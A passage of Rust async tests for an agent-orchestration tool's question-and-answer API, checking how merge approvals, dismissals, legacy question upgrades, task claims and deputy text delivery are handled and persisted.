12658            task.status = if owner == "completed" {
12659                TaskStatus::Done
12660            } else {
12661                TaskStatus::Parked
12662            };
12663            if owner == "later" {
12664                task.runs.push("later-run".into());
12665            }
12666            if owner != "missing" {
12667                fx.queue().put(&mut task).unwrap();
12668            }
12669            let ui = Arc::new(Ui::new(
12670                fx.queue(),
12671                fx.questions(),
12672                fx.talks(),
12673                fx.runs(),
12674                fx.home.path().into(),
12675                state.repo.clone(),
12676            ));
12677            let response = question_answer(
12678                State(ui),
12679                Path(q.id.clone()),
12680                Ok(Json(NewAnswer {
12681                    choice: Some(crate::merge_decision::DISMISS.into()),
12682                    text: None,
12683                    ..Default::default()
12684                })),
12685            )
12686            .await
12687            .unwrap();
12688            assert_eq!(
12689                response.0.question.resolution().as_deref(),
12690                Some(crate::merge_decision::DISMISS)
12691            );
12692            let disk = RunState::load_under(&state.id, fx.home.path()).unwrap();
12693            assert_eq!(disk.status, RunStatus::Superseded);
12694            assert!(crate::pr_head::ensure_owner_record(&stale, Some(&disk)).is_err());
12695            assert!(!crate::merge_decision::resumable_hold(&disk));
12696            assert_eq!(
12697                serde_json::to_value(&disk.pr).unwrap(),
12698                serde_json::to_value(&stale.pr).unwrap()
12699            );
12700            assert_eq!(fx.questions().count_open(), 0);
12701            assert!(fx.questions().get(&q.id).unwrap().chosen_action().is_none());
12702            crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
12703            if owner == "missing" {
12704                assert!(fx.queue().list().is_empty());
12705            } else {
12706                let after = fx.queue().get(&task.id).unwrap();
12707                assert_eq!(
12708                    after.status,
12709                    if owner == "current" {
12710                        TaskStatus::Done
12711                    } else {
12712                        task.status
12713                    }
12714                );
12715                assert_eq!(after.runs, task.runs);
12716                assert_eq!(after.instruction, task.instruction);
12717                assert_eq!(after.action_applied(&q.id), owner == "current");
12718            }
12719        }
12720    }
12721
12722    #[tokio::test]
12723    async fn obsolete_legacy_approval_dismissal_survives_http_reconnect_without_an_owner() {
12724        let fx = Fixture::start().await;
12725        let mut state = obsolete_approval_state();
12726        state.status = RunStatus::Landing;
12727        state.parked = true;
12728        state.driver_exited = true;
12729        let mut q = Question::new(
12730            state.id.clone(),
12731            crate::land::APPROVAL_NODE.into(),
12732            "land".into(),
12733            "Superseded PR approval".into(),
12734            "Original review evidence".into(),
12735            vec!["merge".into(), "hold".into()],
12736        );
12737        state.land_approval = Some(crate::run::LandApproval {
12738            question: q.id.clone(),
12739            head: "old-reviewed-head".into(),
12740        });
12741        // The old persisted PR may still say open even when a separate change
12742        // already landed. Dismissal must not use that snapshot to close it.
12743        state.save_under(fx.home.path()).unwrap();
12744        let stale_driver = state.clone();
12745        fx.questions().put(&mut q).unwrap();
12746        let path = fx
12747            .home
12748            .path()
12749            .join("questions")
12750            .join(format!("{}.json", q.id));
12751        let mut legacy = serde_json::to_value(&q).unwrap();
12752        legacy["schema"] = 9.into();
12753        legacy.as_object_mut().unwrap().remove("merge_target");
12754        std::fs::write(&path, serde_json::to_vec(&legacy).unwrap()).unwrap();
12755
12756        // POST without GET tests legacy upgrade and validation at the actual
12757        // entry point, rather than constructing a modern card in the test.
12758        let body = serde_json::json!({"choice": crate::merge_decision::DISMISS}).to_string();
12759        let answer_path = format!("/api/questions/{}/answer", q.id);
12760        let res = fx.post(&answer_path, Some(&body)).await;
12761        assert_eq!(res.status, 200, "{}", res.body);
12762        let disk = fx.questions().get(&q.id).unwrap();
12763        assert_eq!(
12764            disk.resolution().as_deref(),
12765            Some(crate::merge_decision::DISMISS)
12766        );
12767        assert!(disk.detail.starts_with("Original review evidence"));
12768        let retired = RunState::load_under(&state.id, fx.home.path()).unwrap();
12769        assert_eq!(retired.status, RunStatus::Superseded);
12770        assert_eq!(
12771            serde_json::to_value(&retired.pr).unwrap(),
12772            serde_json::to_value(&state.pr).unwrap()
12773        );
12774        assert!(!retired.merge_decision.as_ref().unwrap().closed);
12775        assert!(!crate::merge_decision::resumable_hold(&retired));
12776        assert!(fx.queue().list().is_empty());
12777        crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
12778        // A restarted server re-reads the persisted pending list.
12779        let addr = Fixture::serve(
12780            fx.home.path(),
12781            PathBuf::from("/repo/magi"),
12782            launch_idle,
12783            None,
12784        )
12785        .await;
12786        let reconnected = Fixture {
12787            home: fx.home,
12788            addr,
12789        };
12790        let listed = reconnected.get("/api/questions").await.json();
12791        assert!(
12792            listed
12793                .as_array()
12794                .unwrap()
12795                .iter()
12796                .all(|q| q["status"] != "open")
12797        );
12798        assert_eq!(listed[0]["id"], q.id, "history remains available");
12799        assert_eq!(
12800            reconnected.get("/api/health").await.json()["questions_open"],
12801            0
12802        );
12803        assert_eq!(
12804            reconnected
12805                .post(&answer_path, Some(r#"{"choice":"merge"}"#))
12806                .await
12807                .status,
12808            409
12809        );
12810        // A late waiter cannot turn the old answer into a new decision.
12811        assert!(
12812            reconnected
12813                .questions()
12814                .update(&q.id, |q| q.answer(Answer::Choice("hold".into())))
12815                .is_err()
12816        );
12817        // The same guard used by claims, repair and publication rejects a
12818        // saved in-memory driver as well as the persisted terminal record.
12819        assert!(crate::pr_head::ensure_owner_record(&stale_driver, Some(&retired)).is_err());
12820    }
12821
12822    #[tokio::test]
12823    async fn obsolete_approval_dismissal_respects_claims_and_later_attempts() {
12824        let fx = Fixture::start().await;
12825        let mut state = obsolete_approval_state();
12826        state.status = RunStatus::Landing;
12827        state.driver_exited = true;
12828        let mut q = Question::new(
12829            state.id.clone(),
12830            crate::land::APPROVAL_NODE.into(),
12831            "land".into(),
12832            "Obsolete approval".into(),
12833            String::new(),
12834            vec!["merge".into(), "hold".into()],
12835        );
12836        state.land_approval = Some(crate::run::LandApproval {
12837            question: q.id.clone(),
12838            head: "head".into(),
12839        });
12840        state.save_under(fx.home.path()).unwrap();
12841        fx.questions().put(&mut q).unwrap();
12842        let mut task = Task::new(
12843            "Owner".into(),
12844            "Original instruction".into(),
12845            state.repo.clone(),
12846            Source::Human,
12847        );
12848        task.runs = vec![state.id.clone(), "later-run".into()];
12849        fx.queue().put(&mut task).unwrap();
12850        let before = std::fs::read(fx.queue().path_of(&task.id)).unwrap();
12851        let claim = fx.queue().claim(&task.id).unwrap();
12852        let body = serde_json::json!({"choice": crate::merge_decision::DISMISS}).to_string();
12853        let path = format!("/api/questions/{}/answer", q.id);
12854        assert_eq!(fx.post(&path, Some(&body)).await.status, 400);
12855        assert!(fx.questions().get(&q.id).unwrap().status.open());
12856        drop(claim);
12857        let publication = crate::pr_head::owner_lock(fx.home.path(), &state.id).unwrap();
12858        assert_eq!(fx.post(&path, Some(&body)).await.status, 400);
12859        assert!(fx.questions().get(&q.id).unwrap().status.open());
12860        drop(publication);
12861        // Unknown liveness and armed auto-merge both fail without settling.
12862        state.driver_exited = false;
12863        state.driver_pid = None;
12864        state.driver_claimed = None; // No durable proof of an unstarted execution.
12865        state.save_under(fx.home.path()).unwrap();
12866        assert_eq!(
12867            state.liveness_under(fx.home.path(), false),
12868            crate::run::Liveness::Unknown
12869        );
12870
12871        assert_eq!(fx.post(&path, Some(&body)).await.status, 400);
12872        state.driver_exited = true;
12873        state.land_armed_head = Some("head".into());
12874        state.save_under(fx.home.path()).unwrap();
12875        assert_eq!(fx.post(&path, Some(&body)).await.status, 400);
12876        state.land_armed_head = None;
12877        state.save_under(fx.home.path()).unwrap();
12878        assert_eq!(fx.post(&path, Some(&body)).await.status, 200);
12879        crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
12880        assert_eq!(std::fs::read(fx.queue().path_of(&task.id)).unwrap(), before);
12881    }
12882
12883    #[tokio::test]
12884    async fn obsolete_approval_dismissal_retries_partial_writes_and_finishes_only_current_owner() {
12885        let fx = Fixture::start().await;
12886        let mut state = obsolete_approval_state();
12887        state.status = RunStatus::Landing;
12888        state.driver_exited = true;
12889        let mut q = Question::new(
12890            state.id.clone(),
12891            crate::land::APPROVAL_NODE.into(),
12892            "land".into(),
12893            "Obsolete approval".into(),
12894            String::new(),
12895            vec!["merge".into(), "hold".into()],
12896        );
12897        state.land_approval = Some(crate::run::LandApproval {
12898            question: q.id.clone(),
12899            head: "head".into(),
12900        });
12901        state.save_under(fx.home.path()).unwrap();
12902        fx.questions().put(&mut q).unwrap();
12903        let mut task = Task::new(
12904            "Owner".into(),
12905            "Original instruction".into(),
12906            state.repo.clone(),
12907            Source::Human,
12908        );
12909        task.runs.push(state.id.clone());
12910        task.status = TaskStatus::Parked;
12911        fx.queue().put(&mut task).unwrap();
12912        // Model a crash after the run stop was persisted but before the queue
12913        // and answered question were flushed. Retrying must finish, not resume.
12914        state.merge_decision = Some(crate::merge_decision::Decision {
12915            question: q.id.clone(),
12916            target: crate::merge_decision::Target {
12917                pr: state.pr.as_ref().unwrap().url.clone(),
12918                head: "head".into(),
12919                language: "ja".into(),
12920            },
12921            choice: crate::merge_decision::DISMISS.into(),
12922            closed: false,
12923            replacement_run: None,
12924            replacement_pr: None,
12925        });
12926        state.status = RunStatus::Superseded;
12927        state.save_under(fx.home.path()).unwrap();
12928        let body = serde_json::json!({"choice": crate::merge_decision::DISMISS}).to_string();
12929        let path = format!("/api/questions/{}/answer", q.id);
12930        assert_eq!(fx.post(&path, Some(&body)).await.status, 200);
12931        let done = fx.queue().get(&task.id).unwrap();
12932        assert_eq!(done.status, TaskStatus::Done);
12933        assert_eq!(done.runs, task.runs);
12934        assert_eq!(done.instruction, task.instruction);
12935        assert!(done.action_applied(&q.id));
12936        crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
12937        assert_eq!(fx.queue().get(&task.id).unwrap().status, TaskStatus::Done);
12938        assert!(!fx.questions().get(&q.id).unwrap().status.open());
12939    }
12940
12941    #[tokio::test]
12942    async fn task_chat_merge_accepts_direct_decisions_and_checks_optional_buttons() {
12943        let home = TempDir::new().unwrap();
12944        let ui = Arc::new(Ui::new(
12945            Queue::at(home.path().join("queue")),
12946            Questions::at(home.path().join("questions")),
12947            Talks::at(home.path().join("talks")),
12948            home.path().join("runs"),
12949            home.path().to_owned(),
12950            home.path().to_owned(),
12951        ));
12952        let talks = &ui.talks;
12953        let chat =
12954            talk::begin(talks, &stub_config(), home.path().to_owned(), Some("stub")).unwrap();
12955        let mut q = Question::new(
12956            "run".into(),
12957            crate::land::APPROVAL_NODE.into(),
12958            "land".into(),
12959            "Merge?".into(),
12960            String::new(),
12961            vec!["merge".into(), "hold".into()],
12962        );
12963        q.routed_task = Some("task".into());
12964        q.routed_chat = Some(chat.id.clone());
12965        q.merge_target = Some(crate::merge_decision::Target {
12966            pr: "https://example.test/pull/1".into(),
12967            head: "head-a".into(),
12968            language: "en".into(),
12969        });
12970        ui.questions.put(&mut q).unwrap();
12971        let send = |body| {
12972            question_answer(
12973                State(ui.clone()),
12974                Path(q.id.clone()),
12975                Ok(Json(serde_json::from_value::<NewAnswer>(body).unwrap())),
12976            )
12977        };
12978        let button = serde_json::json!({"choice":"merge", "talk":chat.id, "head":"head-a"});
12979        assert!(send(serde_json::json!({"text":"merge"})).await.is_err());
12980        let wrong_chat = serde_json::json!({"choice":"merge", "talk":"other", "head":"head-a"});
12981        assert!(send(wrong_chat).await.is_err());
12982        let stale = serde_json::json!({"choice":"merge", "talk":chat.id, "head":"old-head"});
12983        assert!(send(stale).await.is_err());
12984        assert!(ui.questions.get(&q.id).unwrap().status.open());
12985        assert!(send(button.clone()).await.is_ok());
12986        assert_eq!(
12987            ui.questions.get(&q.id).unwrap().resolution().as_deref(),
12988            Some("merge")
12989        );
12990        assert!(send(button).await.is_err());
12991    }
12992
12993    #[tokio::test]
12994    async fn routed_approvals_accept_merge_and_hold_without_chat_buttons() {
12995        let home = TempDir::new().unwrap();
12996        let ui = Arc::new(Ui::new(
12997            Queue::at(home.path().join("queue")),
12998            Questions::at(home.path().join("questions")),
12999            Talks::at(home.path().join("talks")),
13000            home.path().join("runs"),
13001            home.path().to_owned(),
13002            home.path().to_owned(),
13003        ));
13004        for choice in [crate::land::APPROVE, crate::land::HOLD] {
13005            let mut q = Question::new(
13006                "run".into(),
13007                crate::land::APPROVAL_NODE.into(),
13008                "land".into(),
13009                "Merge?".into(),
13010                String::new(),
13011                vec!["merge".into(), choice.into()],
13012            );
13013            q.routed_task = Some("task".into());
13014            q.merge_target = Some(crate::merge_decision::Target {
13015                pr: "https://example.test/pull/1".into(),
13016                head: "head-a".into(),
13017                language: "en".into(),
13018            });
13019            ui.questions.put(&mut q).unwrap();
13020            let answer = |c: &str| {
13021                question_answer(
13022                    State(ui.clone()),
13023                    Path(q.id.clone()),
13024                    Ok(Json(
13025                        serde_json::from_value::<NewAnswer>(serde_json::json!({ "choice": c }))
13026                            .unwrap(),
13027                    )),
13028                )
13029            };
13030            let _ = answer(choice).await.unwrap();
13031            assert_eq!(
13032                ui.questions.get(&q.id).unwrap().resolution().as_deref(),
13033                Some(choice)
13034            );
13035        }
13036    }
13037
13038    #[tokio::test]
13039    async fn a_routed_decision_records_a_plain_answer_on_the_question_route() {
13040        let home = TempDir::new().unwrap();
13041        let ui = Arc::new(Ui::new(
13042            Queue::at(home.path().join("queue")),
13043            Questions::at(home.path().join("questions")),
13044            Talks::at(home.path().join("talks")),
13045            home.path().join("runs"),
13046            home.path().to_owned(),
13047            home.path().to_owned(),
13048        ));
13049        let mut q = Question::new(
13050            "run".into(),
13051            crate::github_text::ASK_NODE.into(),
13052            "posting-gate".into(),
13053            "Post?".into(),
13054            String::new(),
13055            vec!["use fallback".into()],
13056        );
13057        q.routed_task = Some("task".into());
13058        ui.questions.put(&mut q).unwrap();
13059        let sent = question_answer(
13060            State(ui.clone()),
13061            Path(q.id.clone()),
13062            Ok(Json(
13063                serde_json::from_value::<NewAnswer>(serde_json::json!({"choice":"use fallback"}))
13064                    .unwrap(),
13065            )),
13066        )
13067        .await;
13068        let _ = sent.unwrap();
13069        assert_eq!(
13070            ui.questions.get(&q.id).unwrap().resolution().as_deref(),
13071            Some("use fallback")
13072        );
13073    }
13074
13075    #[tokio::test]
13076    async fn merge_decision_api_persists_exact_target_and_selected_action() {
13077        let fx = Fixture {
13078            home: TempDir::new().unwrap(),
13079            addr: SocketAddr::from((Ipv4Addr::LOCALHOST, 0)),
13080        };
13081        for choice in [
13082            crate::land::HOLD,
13083            crate::land::REPAIR,
13084            crate::land::APPROVE,
13085            crate::merge_decision::WITHDRAW,
13086            "reimplement:beta",
13087        ] {
13088            let mut q = Question::new(
13089                "old-run".into(),
13090                crate::land::APPROVAL_NODE.into(),
13091                "land".into(),
13092                "Decision".into(),
13093                "Review findings".into(),
13094                vec![
13095                    "merge".into(),
13096                    "hold".into(),
13097                    crate::land::REPAIR.into(),
13098                    crate::merge_decision::WITHDRAW.into(),
13099                    "reimplement:beta".into(),
13100                ],
13101            );
13102            q.merge_target = Some(crate::merge_decision::Target {
13103                pr: "https://github.com/example/repo/pull/42".into(),
13104                head: "exact-reviewed-head".into(),
13105                language: "ja".into(),
13106            });
13107            q.consult = Some(ask::ChatConsult {
13108                talk: "another-conversation".into(),
13109                at: jiff::Timestamp::now(),
13110            });
13111            fx.questions().put(&mut q).unwrap();
13112            let ui = Arc::new(Ui::new(
13113                fx.queue(),
13114                fx.questions(),
13115                fx.talks(),
13116                fx.runs(),
13117                fx.home.path().into(),
13118                std::path::PathBuf::from("."),
13119            ));
13120            let response = question_answer(
13121                State(ui.clone()),
13122                Path(q.id.clone()),
13123                Ok(Json(NewAnswer {
13124                    choice: Some(choice.into()),
13125                    text: None,
13126                    ..Default::default()
13127                })),
13128            )
13129            .await
13130            .unwrap();
13131            assert_eq!(response.0.question.resolution().as_deref(), Some(choice));
13132            let disk = fx.questions().get(&q.id).unwrap();
13133            assert_eq!(disk.merge_target, q.merge_target);
13134            assert_eq!(disk.consult, q.consult);
13135            assert_eq!(disk.resolution().as_deref(), Some(choice));
13136            assert!(
13137                question_answer(
13138                    State(ui),
13139                    Path(q.id.clone()),
13140                    Ok(Json(NewAnswer {
13141                        choice: Some("merge".into()),
13142                        text: None,
13143                        ..Default::default()
13144                    }))
13145                )
13146                .await
13147                .is_err(),
13148                "an already settled decision cannot turn into merge approval"
13149            );
13150        }
13151    }
13152
13153    #[tokio::test]
13154    async fn legacy_merge_repair_api_resumes_the_parked_owner_once() {
13155        let fx = Fixture {
13156            home: TempDir::new().unwrap(),
13157            addr: SocketAddr::from((Ipv4Addr::LOCALHOST, 0)),
13158        };
13159        let mut state = crate::land::tests::repair_state(true, true);
13160        state.status = RunStatus::Landing;
13161        state.parked = true;
13162        state.driver_exited = true;
13163        let mut task = Task::new(
13164            "Existing PR owner".into(),
13165            state.instruction.clone(),
13166            state.repo.clone(),
13167            Source::Human,
13168        );
13169        task.runs.push(state.id.clone());
13170        task.status = TaskStatus::Parked;
13171        fx.queue().put(&mut task).unwrap();
13172        let mut q = Question::new(
13173            state.id.clone(),
13174            crate::land::APPROVAL_NODE.into(),
13175            "land".into(),
13176            "Contested merge".into(),
13177            "Original evidence".into(),
13178            vec!["merge".into(), "hold".into()],
13179        );
13180        state.land_approval = Some(crate::run::LandApproval {
13181            question: q.id.clone(),
13182            head: "reviewed-head".into(),
13183        });
13184        state.save_under(fx.home.path()).unwrap();
13185        fx.questions().put(&mut q).unwrap();
13186        // A later repair answer on this old card supersedes this manual hold.
13187        task.hold_manual(Some("Pause this PR".into()));
13188        fx.queue().put(&mut task).unwrap();
13189        // POST directly, without a preceding GET: validation must see the
13190        // same durable upgrade that the card, CLI and chat see.
13191        let ui = Arc::new(Ui::new(
13192            fx.queue(),
13193            fx.questions(),
13194            fx.talks(),
13195            fx.runs(),
13196            fx.home.path().to_path_buf(),
13197            state.repo.clone(),
13198        ));
13199        let response = question_answer(
13200            State(ui),
13201            Path(q.id.clone()),
13202            Ok(Json(NewAnswer {
13203                choice: Some(crate::land::REPAIR.into()),
13204                text: None,
13205                ..Default::default()
13206            })),
13207        )
13208        .await
13209        .unwrap();
13210        assert_eq!(response.0.question.id, q.id);
13211        let upgraded = fx.questions().get(&q.id).unwrap();
13212        assert_eq!(upgraded.choices, crate::land::approval_choices(&state));
13213        assert!(upgraded.detail.starts_with("Original evidence"));
13214        let claim = fx.queue().claim(&task.id).unwrap();
13215        crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
13216        assert!(
13217            fx.queue().get(&task.id).unwrap().resume_override.is_none(),
13218            "an existing driver keeps its claim"
13219        );
13220        drop(claim);
13221        crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
13222        let resumed = fx.queue().get(&task.id).unwrap();
13223        assert_eq!(
13224            resumed
13225                .resume_override
13226                .as_ref()
13227                .unwrap()
13228                .pinned_run
13229                .as_deref(),
13230            Some(state.id.as_str())
13231        );
13232        assert!(resumed.status.runnable());
13233        assert_eq!(resumed.instruction, task.instruction);
13234        assert_eq!(resumed.runs, task.runs);
13235        assert!(resumed.action_applied(&q.id));
13236        crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
13237        assert_eq!(fx.queue().list().len(), 1);
13238        assert_eq!(
13239            fx.queue().get(&task.id).unwrap().resume_override,
13240            resumed.resume_override
13241        );
13242        let disk = RunState::load_under(&state.id, fx.home.path()).unwrap();
13243        assert!(
13244            disk.merge_repairs.is_empty(),
13245            "only the claimed run driver may execute repair"
13246        );
13247        assert_eq!(disk.land_approval.unwrap().head, "reviewed-head");
13248    }
13249
13250    #[tokio::test]
13251    async fn answering_records_the_choice_and_a_second_answer_conflicts() {
13252        let fx = Fixture::start().await;
13253        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
13254        let path = format!("/api/questions/{id}/answer");
13255
13256        let res = fx.post(&path, Some(r#"{"choice":"Redis"}"#)).await;
13257        assert_eq!(res.status, 200, "{}", res.body);
13258        let body = res.json();
13259        assert_eq!(body["status"], "answered");
13260        assert_eq!(body["answer"]["choice"], "Redis");
13261
13262        // Answered from the terminal in between the list and the tap: the UI
13263        // must be able to tell this from a bad request, so it can show the
13264        // recorded answer instead of an error.
13265        let again = fx.post(&path, Some(r#"{"choice":"SQLite"}"#)).await;
13266        assert_eq!(again.status, 409, "{}", again.body);
13267        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 0);
13268    }
13269
13270    #[tokio::test]
13271    async fn fresh_api_answers_survive_task_inquiry_migration() {
13272        use crate::{ask::ChoiceAction, task_decision::Status, task_inquiry::Outbox};
13273        for migrate_first in [false, true] {
13274            let fx = Fixture::start().await;
13275            let mut task = Task::new(
13276                "work".into(),
13277                "work".into(),
13278                PathBuf::from("/repo/magi"),
13279                Source::Human,
13280            );
13281            task.runs.push("run-a".into());
13282            fx.queue().put(&mut task).unwrap();
13283            let mut q = Question::new(
13284                "run-a".into(),
13285                "implement".into(),
13286                "impl-A".into(),
13287                "Keep held?".into(),
13288                String::new(),
13289                vec!["hold".into()],
13290            );
13291            q.actions.insert("hold".into(), ChoiceAction::Hold);
13292            fx.questions().put(&mut q).unwrap();
13293            if migrate_first {
13294                crate::task_chat::sweep(&fx.queue(), &fx.talks(), &fx.questions(), fx.home.path());
13295            }
13296            let response = fx
13297                .post(
13298                    &format!("/api/questions/{}/answer", q.id),
13299                    Some(r#"{"choice":"hold"}"#),
13300                )
13301                .await;
13302            assert_eq!(response.status, 200, "{}", response.body);
13303            for _ in 0..2 {
13304                crate::task_chat::sweep(&fx.queue(), &fx.talks(), &fx.questions(), fx.home.path());
13305                let source = fx.questions().get(&q.id).unwrap();
13306                assert_eq!(source.resolution().as_deref(), Some("hold"));
13307                let decision = Outbox::at(fx.home.path())
13308                    .get(&q.id)
13309                    .unwrap()
13310                    .decision
13311                    .unwrap();
13312                assert_eq!(decision.request.as_deref(), Some("decision: hold"));
13313                assert_eq!(decision.source_answer_at, source.answered_at);
13314                assert_eq!(decision.status, Status::Queued);
13315            }
13316            assert_eq!(
13317                fx.post(
13318                    &format!("/api/questions/{}/answer", q.id),
13319                    Some(r#"{"choice":"hold"}"#)
13320                )
13321                .await
13322                .status,
13323                409
13324            );
13325        }
13326    }
13327
13328    #[tokio::test]
13329    async fn question_text_handler_uses_running_capabilities_and_preserves_text_answers() {
13330        let home = tempfile::tempdir().unwrap();
13331        let ui = delta_test_ui(home.path());
13332        let mut q = Question::new(
13333            "task".into(),
13334            crate::land::APPROVAL_NODE.into(),
13335            "land".into(),
13336            "Explain?".into(),
13337            String::new(),
13338            vec!["hold".into()],
13339        );
13340        q.deputy = Some(ask::Deputy::new("context".into()));
13341        ui.questions.put(&mut q).unwrap();
13342        let mut cfg = stub_config();
13343        cfg.daemon.max_deputies = 0;
13344        let mut status = crate::daemon::Status::new();
13345        status.question_recovery = Some(crate::question_delivery::Recovery::new(Some(&cfg), 0));
13346        crate::daemon::write_status_to(&home.path().join("daemon.json"), &status).unwrap();
13347        let before = std::fs::read(ui.questions.path_of(&q.id)).unwrap();
13348        let error = question_say(
13349            State(ui.clone()),
13350            Path(q.id.clone()),
13351            Ok(Json(NewSay {
13352                body: "Explain the findings".into(),
13353            })),
13354        )
13355        .await
13356        .unwrap_err();
13357        assert_eq!(
13358            error.text_reason,
13359            Some(crate::question_delivery::UnavailableReason::DeputyDisabled)
13360        );
13361        assert_eq!(std::fs::read(ui.questions.path_of(&q.id)).unwrap(), before);
13362
13363        let mut text = Question::new(
13364            "task".into(),
13365            "ask".into(),
13366            "operator".into(),
13367            "Which name?".into(),
13368            String::new(),
13369            vec![],
13370        );
13371        ui.questions.put(&mut text).unwrap();
13372        let Json(view) = question_answer(
13373            State(ui.clone()),
13374            Path(text.id.clone()),
13375            Ok(Json(NewAnswer {
13376                choice: None,
13377                text: Some("chosen name".into()),
13378                ..Default::default()
13379            })),
13380        )
13381        .await
13382        .unwrap();
13383        assert_eq!(view.question.resolution().as_deref(), Some("chosen name"));
13384        assert!(!ui.questions.get(&text.id).unwrap().status.open());
13385    }
13386
13387    #[tokio::test]
13388    async fn question_text_handler_admission_without_transport() {
13389        let home = tempfile::tempdir().unwrap();
13390        let ui = delta_test_ui(home.path());
13391        let mut q = Question::new(
13392            "task".into(),
13393            crate::land::APPROVAL_NODE.into(),
13394            "land".into(),
13395            "May this PR merge?".into(),
13396            String::new(),
13397            vec!["hold".into()],
13398        );
13399        q.deputy = Some(ask::Deputy::new("reviewed head".into()));
13400        q.deputy.as_mut().unwrap().starts = crate::deputy::MAX_STARTS;
13401        ui.questions.put(&mut q).unwrap();
13402        let say = || {
13403            Ok(Json(NewSay {
13404                body: "Explain the findings".into(),
13405            }))
13406        };
13407        let rejected = question_say(State(ui.clone()), Path(q.id.clone()), say())
13408            .await
13409            .unwrap_err();
13410        assert_eq!(rejected.status, StatusCode::UNPROCESSABLE_ENTITY);
13411        let response = rejected.into_response();
13412        let body = axum::body::to_bytes(response.into_body(), usize::MAX)
13413            .await
13414            .unwrap();
13415        let body: serde_json::Value = serde_json::from_slice(&body).unwrap();
13416        assert_eq!(body["code"], "question_text_unavailable");
13417        assert_eq!(body["reason"], "deputy_exhausted");
13418        assert!(body["error"].as_str().unwrap().contains("deputy_exhausted"));
13419        assert!(ui.questions.get(&q.id).unwrap().thread.is_empty());
13420        ui.questions.beat(&q.id, ask::WaiterKind::Deputy);
13421        let Json(view) = question_say(State(ui.clone()), Path(q.id.clone()), say())
13422            .await
13423            .unwrap();
13424        assert_eq!(view.text_delivery.state, "live");
13425        assert!(view.question.waiter.is_none());
13426        assert!(view.question.cwd.is_none());
13427        let before = std::fs::read(ui.questions.path_of(&q.id)).unwrap();
13428        ui.questions.drop_lease(&q.id);
13429        let rejected = question_say(State(ui.clone()), Path(q.id.clone()), say())
13430            .await
13431            .unwrap_err();
13432        assert_eq!(rejected.status, StatusCode::UNPROCESSABLE_ENTITY);
13433        assert_eq!(std::fs::read(ui.questions.path_of(&q.id)).unwrap(), before);
13434        let _ = question_answer(
13435            State(ui.clone()),
13436            Path(q.id.clone()),
13437            Ok(Json(NewAnswer {
13438                choice: Some("hold".into()),
13439                text: None,
13440                ..Default::default()
13441            })),
13442        )
13443        .await
13444        .unwrap();
13445        assert_eq!(
13446            ui.questions.get(&q.id).unwrap().resolution().as_deref(),
13447            Some("hold")
13448        );
13449    }
13450
13451    #[tokio::test]
13452    async fn question_text_delivery_rechecks_after_render_and_keeps_choices_usable() {
13453        let fx = Fixture::start().await;
13454        let store = fx.questions();
13455        let id = ask(&fx, "May this PR merge?", &["merge", "hold"]);
13456        store
13457            .update(&id, |q| {
13458                q.node = crate::land::APPROVAL_NODE.to_owned();
13459                q.deputy = Some(ask::Deputy::new("approval".to_owned()));
13460                q.deputy.as_mut().unwrap().starts = crate::deputy::MAX_STARTS;
13461                Ok(())
13462            })
13463            .unwrap();
13464        let path = format!("/api/questions/{id}/say");
13465        let refused = fx.post(&path, Some(r#"{"body":"close the PR"}"#)).await;
13466        assert_eq!(refused.status, 422, "{}", refused.body);
13467        assert!(
13468            refused.json()["error"]
13469                .as_str()
13470                .unwrap()
13471                .contains("deputy_exhausted")
13472        );
13473        assert!(store.get(&id).unwrap().thread.is_empty());
13474
13475        // A final live deputy is usable even with no ordinary waiter/cwd.
13476        store.beat(&id, ask::WaiterKind::Deputy);
13477        let view = fx.get("/api/questions").await.json();
13478        assert_eq!(view[0]["text_delivery"]["state"], "live");
13479        let accepted = fx
13480            .post(&path, Some(r#"{"body":"explain the findings"}"#))
13481            .await;
13482        assert_eq!(accepted.status, 200, "{}", accepted.body);
13483        let before = std::fs::read(store.path_of(&id)).unwrap();
13484
13485        // The recipient exits between rendering and sending. Rejection must
13486        // preserve previously accepted text, the answer and delivery cursor.
13487        store.drop_lease(&id);
13488        let refused = fx.post(&path, Some(r#"{"body":"close the PR"}"#)).await;
13489        assert_eq!(refused.status, 422, "{}", refused.body);
13490        assert_eq!(std::fs::read(store.path_of(&id)).unwrap(), before);
13491        let held = fx
13492            .post(
13493                &format!("/api/questions/{id}/answer"),
13494                Some(r#"{"choice":"hold"}"#),
13495            )
13496            .await;
13497        assert_eq!(held.status, 200, "{}", held.body);
13498        assert_eq!(store.get(&id).unwrap().thread.len(), 1);
13499    }
13500
13501    #[tokio::test]
13502    async fn question_text_delivery_uses_daemon_configuration_after_file_edit() {
13503        let repo = tempfile::tempdir().unwrap();
13504        let mut cfg = stub_config();
13505        cfg.daemon.max_deputies = 0;
13506        std::fs::write(
13507            repo.path().join("magi.toml"),
13508            toml::to_string(&cfg).unwrap(),
13509        )
13510        .unwrap();
13511        let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
13512        let mut status = crate::daemon::Status::new();
13513        status.question_recovery = Some(crate::question_delivery::Recovery::new(Some(&cfg), 0));
13514        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &status).unwrap();
13515        let id = ask(&fx, "Explain?", &["hold"]);
13516        fx.questions()
13517            .update(&id, |q| {
13518                q.node = crate::land::APPROVAL_NODE.into();
13519                q.deputy = Some(ask::Deputy::new("context".into()));
13520                q.deputy.as_mut().unwrap().agent = "stub".into();
13521                Ok(())
13522            })
13523            .unwrap();
13524        cfg.daemon.max_deputies = 1;
13525        std::fs::write(
13526            repo.path().join("magi.toml"),
13527            toml::to_string(&cfg).unwrap(),
13528        )
13529        .unwrap();
13530        let view = fx.get("/api/questions").await.json();
13531        assert_eq!(view[0]["deputies_enabled"], true);
13532        assert_eq!(view[0]["text_delivery"]["reason"], "deputy_disabled");
13533        let before = std::fs::read(fx.questions().path_of(&id)).unwrap();
13534        let res = fx
13535            .post(
13536                &format!("/api/questions/{id}/say"),
13537                Some(r#"{"body":"Please explain"}"#),
13538            )
13539            .await;
13540        assert_eq!(res.status, 422, "{}", res.body);
